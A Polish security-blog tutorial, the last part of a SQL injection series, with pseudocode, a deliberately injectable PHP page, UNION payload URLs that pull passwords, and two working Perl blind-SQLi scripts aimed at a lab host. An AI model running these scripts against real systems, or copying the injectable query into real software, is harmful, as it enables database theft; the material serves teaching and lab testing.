SQL Injection cz.5 - CyberWiedza.pl - Cyberbezpieczeństwo bez tajemnic

Seria o SQL Injection:
Jak zostać ekspertem od SQL Injection – cz. 1
Jak zostać ekspertem od SQL Injection – cz. 2
Jak zostać ekspertem od SQL Injection – cz. 3
Jak zostać ekspertem od SQL Injection – cz. 4
Jak zostać ekspertem od SQL Injection – cz. 5

W poprzedniej części serii JAK ZOSTAĆ EKSPERTEM OD SQL INJECTION – CZ.4 pokazałem Ci, jak zastosować wiedzę w analizie praktycznych przykładów. Opisałem 9 konkretnych przykładów kodu źródłowego oraz bazy danych.
Pokazałem Ci jak wygląda przyczyna błędów opisywanych w częściach 1-3., co pozwala lepiej zobrazować istotę błędów.
W tej części natomiast zajmiemy się budową własnego skryptu do automatyzacji testu na podatność SQL Injection – tzw. PoC – Proof of Concept. Pozwoli Ci to lepiej zrozumieć zarówno podatności jak i sposób ataku i tworzenia własnego narzędzia do testów.

Zapraszam do lektury!

W tej części artykułu zostaną omówione aspekty eksploitowania podatnej aplikacji na wybranych przykładach. Zostanie przedstawiony zarówno exploit wykorzystujący błędy przez zastosowanie technik Blind SQL Injection, jak też klasycznego SQL Injection. Opisane zostaną algorytmy działania.

Praktyczne przykłady: Aplikacja i ‘PoC’

Ataki typu Blind SQL Injection charakteryzują się tym, że atakujący nie otrzymuje rezultatu wstrzykniętego zapytania SQL w postaci tekstu, lecz wartości logicznej: PRAWDA lub FAŁSZ.
Ataki tego typu są trudniejsze do przeprowadzenia, lecz w przypadku podatności, znacznie bardziej korzystne jest wykorzystanie ich przez atakującego, aniżeli klasyczne ataki SQL Injection. Główną z zalet przeprowadzenia tego typu ataków jest możliwość otrzymania rezultatów wstrzykniętych zapytań, pomimo braku jakichkolwiek informacji wyświetlanych na stronie WWW. W takim przypadku uzyskanie interesujących informacji dla atakującego możliwe jest dzięki zastosowaniu ataku czasowego w zmodyfikowanym zapytaniu do serwera bazodanowego.
Z punktu widzenia atakującego, chcącego ominąć zabezpieczenia systemów antywłamaniowych możliwość przeprowadzenia ataku typu Blind SQL Injection stwarza bardzo duże szanse na skuteczność ataku. Atakujący może odpytać serwer bazodanowy o informacje, nie wykorzystując do tego celu operatora UNION oraz instrukcji SELECT i uzyskać informacje z serwera bazodanowego. Różnica polega na tym, że w klasycznym ataku użycie UNION oraz SELECT jest konieczne, a w szczególnych przypadkach także klauzuli WHERE, kiedy atakujący chce uzyskać nazwy tabel oraz kolumn metodą brute force.

Poniżej przedstawiono schemat blokowy oraz algorytm napisany w pseudokodzie programu symulującego aplikację podatną na atak typu SQL Injection oraz Blind SQL Injection. Skrypt napisany w języku PHP dołączono na końcu artykułu.

Zapis w pseudokodzie.
Algorytm w pseudokodzie wygląda następująco:

wczytaj konfigurację z pliku zewnętrznego
jeśli zmienna id pobrana z adresu URL nie jest pusta to
{
query:=zapytanie_SQL(id)
wyślij zapytanie SQL query do bazy danych
odczytaj ilość zwróconych wierszy z zapytania query
jeśli liczba wierszy zwróconych przez serwer bazodanowy jest równa zero to
{
zrób przekierowanie na stronę główną
}
}
w przeciwnym przypadku
{
pobierz wszystkie wiersze zwrócone przez zapytanie query
wyświetl pierwszy wiersz zwrócony przez zapytanie query
}

Omówienie algorytmu:

W linii 1 do skryptu pobierane są dane konfiguracyjne używane do połączenia z bazą danych.
W linii 2 sprawdzany jest warunek, czy w adresie URL ustawiona jest zmienna id.
Jeśli zmienna id jest ustawiona, za zmienną query podstawiane jest zapytanie SQL, używające zmiennej id.
W linii 5 zapytanie SQL przesyłane jest do bazy danych. Z serwera bazodanowego odczytywana jest liczba zwróconych wierszy. Jeśli serwer bazodanowy nie zwrócił żadnego wyniku, następuje przekierowanie ze strony bieżącej, na której znajduje się użytkownik na stronę główną. Jeżeli serwer bazy danych zwrócił przynajmniej jeden rekord, wówczas pobierane są dane ze wszystkich zwróconych rekordów i wyświetlane są dane tylko z pierwszego wiersza.
Taki skrypt pozwala, na analizę nawet bardzo zaawansowanych technik ataku typu SQL Injection. Podczas błędnego zapytania, które nic nie zwraca następuje przekierowanie na stronę główną, co jest wystarczające aby taką informację wykorzystać do ataku Blind SQL Injection. Z kolei możliwość wyświetlenia informacji z bazy na podstawie danych pochodzących z adresu URL pozwala wykorzystać to do klasycznego ataku SQL Injection

Analiza podatności testowanej aplikacji
Poniżej zilustrowano klasyczną metodę ataku SQL Injection na podatną aplikację oraz dwie nieco różniące się metody ataku typu Blind SQL Injection.

Klasyczny SQL Injection:

Klasyczny atak SQL Injection pozwala, na uzyskanie danych z pól tabeli poprzez odczyt ich zawartości bezpośrednio ze strony WWW. W celu pomyślnego przeprowadzenia tego typu ataku, należy znać nazwę tabeli oraz pola, którego zawartość ma być wyświetlona. Składnia spreparowanego zapytania ściśle zależy od implementacji błędnie napisanej aplikacji skryptowej. W niektórych przypadkach, odczyt danych z pól tabeli jest możliwy z wykorzystaniem kilku różnych modyfikacji zapytań SQL.
W przykładzie omawianego błędnie napisanego skryptu PHP, możliwe jest użycie wielu wariantów spreparowanych zapytań umieszczonych w adresie URL.

Kilka z takich zapytań może wyglądać następująco:

http://127.0.0.1/test.php?id=1/**/union/**/select/**/hasło/**/from/**/tabela/**/limit/**/1,1
http://127.0.0.1/test.php?id=1/**/union/**/select/**/hasło/**/from/**/tabela
http://127.0.0.1/test.php?id=1/**/union/**/select/**/concat(‘login: ’,login,’ ’,'hasło:’,hasło)/**/from/**/tabela

Pierwszy ze sposobów wykorzystania podatności aplikacji polega na doklejeniu do wyniku oryginalnego zapytania, zapytania zwracającego pole hasło. Taki zabieg nie wystarcza, ponieważ skrypt wyświetla jedynie pierwszy rekord. konieczne było zastosowanie ograniczenia zakresu zwracanych rezultatów LIMIT, które zwraca w tym przypadku dokładnie drugi wiersz tabeli, zawierający pole z hasłem.
Drugi z zaprezentowanych sposobów powoduje wyświetlenie jedynie pola z hasłem. Pierwsze zapytanie, w tym przypadku zwróci wartość nieokreśloną NULL, ponieważ jako parametr id podstawiona jest wartość ujemna, która nie występuje w tabeli, więc pierwotne zapytanie nic nie zwróci. Zwrócony zostanie jedynie rezultat doklejonego zapytania.
Trzeci zaprezentowany sposób wykorzystania błędu skryptu jest podobny do drugiego, z tą różnicą, iż w zapytaniu wykorzystany jest jedynie jeden operator UNION do pobrania dodatkowych dwóch pól tabeli – loginu i hasła. Wykorzystano do tego celu funkcję MySQL – CONCAT. Oczywiście, nie wyczerpuje to możliwych modyfikacji zapytań, jakie może wykorzystać osoba atakująca aplikację. Możliwe są tutaj warianty zapytań wykorzystujące znane techniki omijania systemów IDS/IPS. W analizie i rozpoznawaniu ataków, nie ma większego znaczenia różnorodność odmian spreparowanych zapytań, ponieważ możliwe jest wyodrębnienie pewnych stałych wzorców, jakie da się dopasować do części żądania HTTP, tak aby z dużym prawdopodobieństwem stwierdzić, iż nastąpił atak SQL Injection.

Blind SQL Injection

Analiza działania pierwszego ‘exploita’
Poniżej przedstawiono diagram blokowy pierwszego z przygotowanych ‘exploitów’, czyli programów wykorzystujących podatność aplikacji na atak:

Algorytm w pseudokodzie pierwszego programu automatyzującego wykonanie ataku Blind SQL Injection:

wczytaj argumenty z wiersza poleceń z tablicy ARGV[]
za zmienną n podstaw wartość 1

dopóki PRAWDA wykonuj:
{
Ustaw wartości graniczne (początek i koniec) znaków ASCII przeszukiwanego alfabetu
dopóki (koniec&gt;początek+1) wykonuj:
{
za środek podstaw wartość całkowitą z (początek+koniec)/2
wyślij metodą GET zapytanie do serwera HTTP, używając następującego adresu URL:
http://host/?param=true+and+SQLrezultat(`ARGV['0'][n]`)&gt;=środek+and 14. +SQLrezultat(`ARGV['0']`)&gt;=n
 
czytaj rezultat wykonanego żądania
jeśli rezultatem jest wartość logiczna PRAWDA to
{
wyślij metodą GET zapytanie do serwera HTTP, używając następującego adresu URL:
http://host/?param=true+and+SQLrezultat(`ARGV['0'][n]`)=środek+and+SQLrezultat(`ARGV['0']`)&gt;=n
 
czytaj rezultat wykonanego żądania
 
jeśli rezultatem jest wartość logiczna PRAWDA to:
{
zmiennej wynik przypisz jej poprzednią wartość + znak alfabetu odpowiadający wartości ASCII równej co do wartości zmiennej środek
skocz do etykiety etykieta
}
w przeciwnym przypadku
{
za początek podstaw środek
}
}
 
w przeciwnym przypadku
{
za koniec podstaw środek;
}
jeśli koniec jest mniejszy bądź równy (początek + 1) to
{
jeśli początek jest równy którejkolwiek z wartości brzegowej to
{
wypisz wynik
zakończ program
}
w przeciwnym przypadku za zmienną wynik podstaw poprzednią wartość zmiennej wynik + znak alfabetu odpowiadający wartości ASCII równej co do wartości zmiennej początek
}
}
etykieta:
zwiększ wartość zmiennej n o 1
}

Omówienie algorytmu:

W linii pierwszej wczytywany jest do skryptu parametr zawierający funkcję SQL, która ma zostać wstrzyknięta do oryginalnego zapytania. funkcją taką może być np. VERSION().
W drugiej linii ustawiany jest licznik n odpowiadający za inkrementację przesunięcia w ciągu poszukiwanego rezultatu oraz kontrolujący długość poszukiwanego ciągu znaków.
W czwartej linii rozpoczyna się nieskończona pętla while(), z której wyjście następuje poprzez spełnienie odpowiedniego warunku wewnątrz pętli.
W szóstej linii ustawiany jest przedział znakowy przeszukiwanego alfabetu znaków ASCII.
W zależności od kodowania znaków alfabetu znajdującego się w tabeli, należy ustawić odpowiedni przedział początku i końca.
W siódmej linii następuje wejście do pętli while() z warunkiem wyjścia koniec<=początek+1.
W linii dziewiątej ustawiany jest środek przedziału przeszukiwania binarnego, którego wartością jest część całkowita z dzielenia sumy początku i końca przedziału przez dwa.

Następnie wysyłane jest żądanie HTTP do serwera WWW. Żądanie to ma postać:

http://host/?param=true+and+SQLrezultat(`ARGV['0'][n]`)>=środek+and+SQLrezultat(`ARGV['0']`)>=n

Wyrażenie param=true oznacza dowolną wartość parametru param, akceptowalną przez zaprogramowany skrypt WWW.
Wyrażenie SQLrezultat(ARGV['0'][n]) oznacza jeden znak należący do słowa rezultatu spreparowanego zapytania SQL, podanego jako parametr uruchamianego skryptu. Znak ten znajduje się na pozycji n zwróconego wyniku. Taki znak następnie porównywany jest z aktualną wartością środka przedziału przeszukiwania binarnego.
Wyrażenie SQLrezultat(ARGV['0'])>=n jest sprawdzeniem długości słowa, będącego rezultatem spreparowanego zapytania SQL. Długość tego słowa porównywana jest z aktualną wartością licznika n.

Jeżeli wartość logiczna koniunkcji trzech wyrażeń:

param=true,
SQLrezultat(ARGV['0'][n])>=środek,
SQLrezultat(ARGV['0'])>=n.

będzie prawdą, oznacza to, że szukany znak został odnaleziony lub znajduje się w przedziale ASCII między aktualną wartością zmiennej środek a zmienną koniec. W takim przypadku konieczne jest ustalenie, czy odnaleziono poszukiwany znak porównując go z aktualną wartością środka przedziału przeszukiwania binarnego środek.

Jeżeli wartość logiczna koniunkcji trzech wyrażeń:

param=true,
SQLrezultat(ARGV['0'][n])=środek,
SQLrezultat(ARGV['0'])>=n.

będzie prawdą, oznacza to, że został odnaleziony znak alfabetu odpowiadający wartości kodu ASCII zmiennej środek.
W takim przypadku wartości wyrażenia wynikowego wynik zostaje przypisana jego poprzednia wartość skonkatenowana ze znalezionym znakiem ASCII i następuje skok do etykiety etykieta. Jeżeli wartością koniunkcji wyrażeń będzie wartość logiczna FAŁSZ, wówczas zmiennej początek zostaje przypisana aktualna wartość zmiennej środek. Początek przedziału przeszukiwania binarnego zostaje przesunięty w kierunku końca.

Jeżeli wartość logiczna koniunkcji trzech wyrażeń:

param=true,
SQLrezultat(ARGV['0'][n])>=środek,
SQLrezultat(ARGV['0'])>=n.

zwróci FAŁSZ, za wartość zmiennej środek zostanie podstawiona aktualna wartość zmiennej koniec. Koniec przedziału przeszukiwania binarnego zostaje przesunięty w kierunku początku.
W linii 36 algorytmu sprawdzany jest warunek, czy wartość zmiennej koniec jest mniejsza bądź równa wartości (początek + 1). Jeśli tak, wówczas sprawdzany jest kolejny warunek, czy wartość zmiennej początek jest równa którejkolwiek z pierwotnie zadeklarowanej wartości brzegowej – początek lub koniec. Jeśli aktualna wartość zmiennej początek jest równa początkowej wartości początku lub końca przedziału przeszukiwania binarnego, oznacza to, że cały zakres założonego zbioru znaków został przeszukany.
Następuje wypisanie wyniku na ekran i zakończenie programu. Jeśli początkowa wartość brzegowa nie została osiągnięta, wówczas za zmienną wynik przechowującą odczytany zestaw znaków zostaje podstawiona jej aktualna wartość skonkatenowana ze znakiem odpowiadającym wartości kodu ASCII znajdującej się pod zmienną początek.
W linii 46 znajduje się etykieta, zawierająca instrukcję inkrementacji zmiennej n. W tym miejscu następuje kolejna iteracja pętli while() algorytm powraca do linii czwartej. Poniżej przedstawiono kolejny program automatyzujący proces uzyskiwania informacji z bazy danych za pomocą podatnej na atak aplikacji.

Poniżej przedstawiono kolejny program automatyzujący proces uzyskiwania informacji z bazy danych za pomocą podatnej na atak aplikacji.

Analiza działania drugiego ‘exploita’

Poniżej przedstawiono diagram blokowy drugiego z przygotowanych exploitów, czyli programów wykorzystujących podatność aplikacji na atak:

Algorytm w pseudokodzie drugiego programu automatyzującego wykonanie ataku Blind SQL Injection:

wczytaj argumenty z linii poleceń z tablicy ARGV[]
za zmienną wynik podstaw pusty ciąg znaków
wyzeruj zmienne i oraz j
 
dopóki PRAWDA wykonuj:
{
zwiększ wartość zmiennej i o 1
za zmienną j podstaw wartość graniczną (początek) kodów ASCII przeszukiwanego alfabetu
 
dopóki j jest mniejsze bądź równe wartości granicznej (koniec) kodów ASCII przeszukiwanego alfabetu, wykonuj:
{
wyślij metodą GET zapytanie do serwera HTTP, używając następującego adresu URL:
http://host/?param=false+or+1=1+and+ascii(SQLrezultat([`SELECT pole FROM  tabela LIMIT 1`][i]))=j
 
czytaj rezultat wykonanego żądania
jeśli rezultatem jest wartość logiczna PRAWDA to
{
za zmienną wynik podstaw poprzednią wartość zmiennej wynik + znak alfabetu odpowiadający wartości ASCII równej co do wartości zmiennej j
}
w przeciwnym przypadku
{
zwiększ wartość zmiennej j o 1
}
}
w przeciwnym przypadku
{
wypisz wynik
zakończ program
}
}

Omówienie algorytmu:

W pierwszej linii pseudokodu wczytywane są parametry skryptu. Parametrami tymi mogą być funkcje jak np. database(), jak również pola tabeli, które mają zostać wyświetlone.
W linii drugiej oraz trzeciej inicjowane są zmienne przechowujące wynik oraz liczniki.
W piątej linii jest wejście do nieskończonej pętli while(). Wartość licznika i jest ustawiana na 1. Jest to licznik, który odpowiada za przesuwanie się względem pierwszego znaku w kierunku ostatniego w szukanym ciągu wynikowym, aż do przeszukania całego zadanego alfabetu.
W linii ósmej zmienna j przyjmuje mniejszą z wartości granicznych zadanego alfabetu symboli. Zmienna ta odpowiada za porównania szukanego symbolu z całym zakresem zadanego alfabetu, aż do znalezienia dopasowania lub przeszukania całego alfabetu.
W linii jedenastej następuje wejście do pętli i wykonywanie jej instrukcji, aż do przeszukania całego zakresu zadanych znaków.
W linii 12 pseudokodu wysyłane jest następujące żądanie HTTP do serwera WWW:

http://host/?param=false+or+1=1+and+ascii(SQLrezultat([`SELECT pole FROM tabela LIMIT 1`][i]))=j

Wyrażenie param=false oznacza dowolną wartość parametru param, która nie jest akceptowalna przez skrypt, tzn. wywołanie zapytania z takim parametrem spowoduje błąd. Warunek logiczny or+1=1 powoduje zwrócenie przez system bazodanowy wartości logicznej PRAWDA. Wyrażenie ascii(SQLrezultat([SELECT pole FROM tabela LIMIT 1][i])) zwraca kod ASCII znaku alfabetu, który należy do słowa będącego szukanym polem. Pozycja tego znaku alfabetu określana jest przez zmienną i.
Kod ASCII zwrócony przez to wyrażenie porównywany jest z aktualną wartością licznika j. Szukany znak zostaje znaleziony jeżeli całe zapytanie HTTP wysłane do serwera spowoduje zwrócenie przez serwer bazodanowy wartości logicznej PRAWDA. Aby ten warunek był spełniony wystarczy, żeby rezultat wyrażenia ascii(SQLrezultat([SELECT pole FROM tabela LIMIT 1][i])) oraz aktualna wartość zmiennej j, były sobie równe.
Wyrażenie param=false+or+1=1 jest stałe w każdej iteracji pętli while() oraz for i ma na celu wymuszenie zwrócenia logicznej wartości PRAWDA a zarazem ma wpłynąć na takie działanie skryptu, żeby oryginalna część zaprogramowanego zapytania SQL nic nie zwróciła.
W linii 15 następuje odczyt wartości logicznej zwróconej przez skrypt. Jeśli tą wartością jest logiczna PRAWDA, za zmienną wynik zawierającą ciąg znalezionych znaków należących do szukanego pola podstawiona jest aktualna wartość zmiennej wynik skonkatenowana ze znakiem alfabetu odpowiadającym kodowi ASCII, równym aktualnej wartości zmiennej j. Jeśli otrzymaną wartością logiczną jest FAŁSZ następuje inkrementacja zmiennej j oraz kolejna iteracja pętli for.
W linii 27 oraz 28 następuje wypisanie wyniku oraz zakończenie programu w przypadku, gdy wartość zmiennej j jest większa od górnej wartości granicznej kodów ASCII przeszukiwanego alfabetu.

Poniżej kod źródłowy prostych aplikacji służących do testowania ataków typu SQL Injection oraz Blind SQL Injection (PHP i Perl) :

test.php:

require_once('./config.inc');
 
if (isSet($_GET['id']))
{
$query='select dane from tabela where id = '.$_GET['id'];
$q=mysql_query($query);
 
if (mysql_num_rows($q) == 0)
{
header("Location:test.php");
}
else
{
$result=mysql_fetch_row($q);
echo $result['0'];
}
}
?>

blind1.pl:

#!/usr/bin/perl
use IO::Socket;
 
$COMMAND=$ARGV[0].'()';
$string = "";
$j=1;
 
TOP:
while ()
{
$pocz=31;
$kon=127;
$srod=0;
 
while ($kon > $pocz + 1)
{
$srod = int(( $pocz + $kon ) / 2);
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "10.0.0.2", PeerPort => "80" ) || die "Error 404\r\n\r\n";
 
print $sock "HEAD /test.php?id=1/**/and/**/ord(mid($COMMAND,$j,1))/**/>=/**/$srod/**/and/**/length($COMMAND)/**/>=$j/* HTTP/1.1\r\n";
print $sock "Host: 10.0.0.2\r\n";
print $sock "ContentType: application/xwwwformurlencoded\r\n";
print $sock "Connection: close\r\n\r\n";
 
$odp = <$sock>;
 
if ($odp =~ /HTTP\/1.1 200/)
{
$sock2 = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"10.0.0.2", PeerPort => "80" ) || die "Error 404\r\n\r\n";
 
print $sock2 "HEAD /test.php?id=1/**/and/**/ord(mid($COMMAND,$j,1))/**/=/**/$srod/**/and/**/length($COMMAND)/**/>=$j/* HTTP/1.1\r\n";
print $sock2 "Host: 10.0.0.2\r\n";
print $sock2 "ContentType: application/xwwwformurlencoded\r\n";
print $sock2 "Connection: close\r\n\r\n";
 
$odp2=<$sock2>;

if ($odp2 =~ /HTTP\/1.1 200/)
{
print "Znaleziono znak: ".chr($srod)."\r\n";
$string .= chr($srod);
$j++;
next TOP;
}
 
elsif ($odp2 =~ /HTTP\/1.1 302/)
{
$pocz=$srod;
}
}
 
elsif ($odp =~ /HTTP\/1.1 302/)
{
$kon=$srod;
}
print "\t\t\t\tSprawdzanie: ".chr($srod)."\r\n";
 
if ($kon <= $pocz + 1)
{
 
if (($pocz eq 31) or ($pocz eq 127))
{
last TOP;
}
}
}
$j++;
}
 
print "\r\n\r\nRezultat: --> ".$string." <-- \r\n\r\n";

blind2.pl

#!/usr/bin/perl
use IO::Socket;
 
$COMMAND=$ARGV[0];
$string = "";
$i=0;
$j=0;
 
TOP:
while()
{
$i++;
for ($j=32;$j<=127;$j++)
{
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>"10.0.0.2", PeerPort => "80" ) || die "Error 404\r\n\r\n";
 
print $sock "HEAD /test.php?
id=99999/**/or/**/1=1/**/and/**/ascii(substring((select/**/$COMMAND/**/from/**/tabela/**/limit/**/1),$i,1))/**/=/**/$j/* HTTP/1.1\r\n";
print $sock "Host: 10.0.0.2\r\n";
print $sock "ContentType: application/xwwwformurlencoded\r\n";
print $sock "Connection: close\r\n\r\n";
 
$odp = <$sock>;
 
if ($odp =~ /HTTP\/1.1 200/)
{
$string.=chr($j);
 
print "Znaleziono znak: ".chr($j)."\r\n";
next TOP;
}
print "\t\t\t\tSprawdzanie: ".chr($j)."\r\n";
}
print "\r\n\r\nRezultat: --> ".$string." <-- \r\n\r\n";
last;
}

Podsumowanie

W części piątej serii JAK ZOSTAĆ EKSPERTEM OD SQL INJECTION zbudowaliśmy własny skrypt do automatyzacji testu na podatność SQL Injection.
W tym momencie po dogłębnym zrozumieniu treści z serii 1-5 jestem przekonany, że posiadasz już wystarczającą wiedzę – ekspercką wiedzę!
Co dalej? Masz już wystarczającą wiedzę, aby samemu eksperymentować z SQL Injection, wyszukiwać je w różnych niestandardowych miejscach i próbować testować systemy. Zachęcam Cię także do próbowania pisania własnych skryptów do automatyzacji – pogłębisz swoją wiedzę na temat protokołów i takie skrypty przydadzą Ci się na przyszłość. Możesz używać Python-a który jest bardzo popularnym narzędziem dla pentesterów ale nic nie stoi na przeszkodzie, aby wykorzystać inną technologię. Ja bardzo lubię Perl – jest prosty i w zupełności wystarczający.
Jeżeli spodobał Ci się artykuł, udostępnij go dalej oraz podziel się swoimi przemyśleniami w komentarzu.

Co w kolejnej części:

To już ostatnia część serii JAK ZOSTAĆ EKSPERTEM OD SQL INJECTION ponieważ wiedza tu przedstawiona jest wystarczająca moim zdaniem aby aktywnie wyszukiwać podatności, “bawić się” nim.
Z takimi informacjami będziemy kontynuować naszą przygodę z bezpieczeństwem w innych ciekawych artykułach. Kolejnym artykułem opisującym jak wykorzystać SQL Injection w praktyce będzie artykuł o aktywnym omijaniu zabezpieczeń – pokażę Ci jak ominąć profesjonalny system wykrywania włamań i dlaczego to jest możliwe.
Zostań ze mną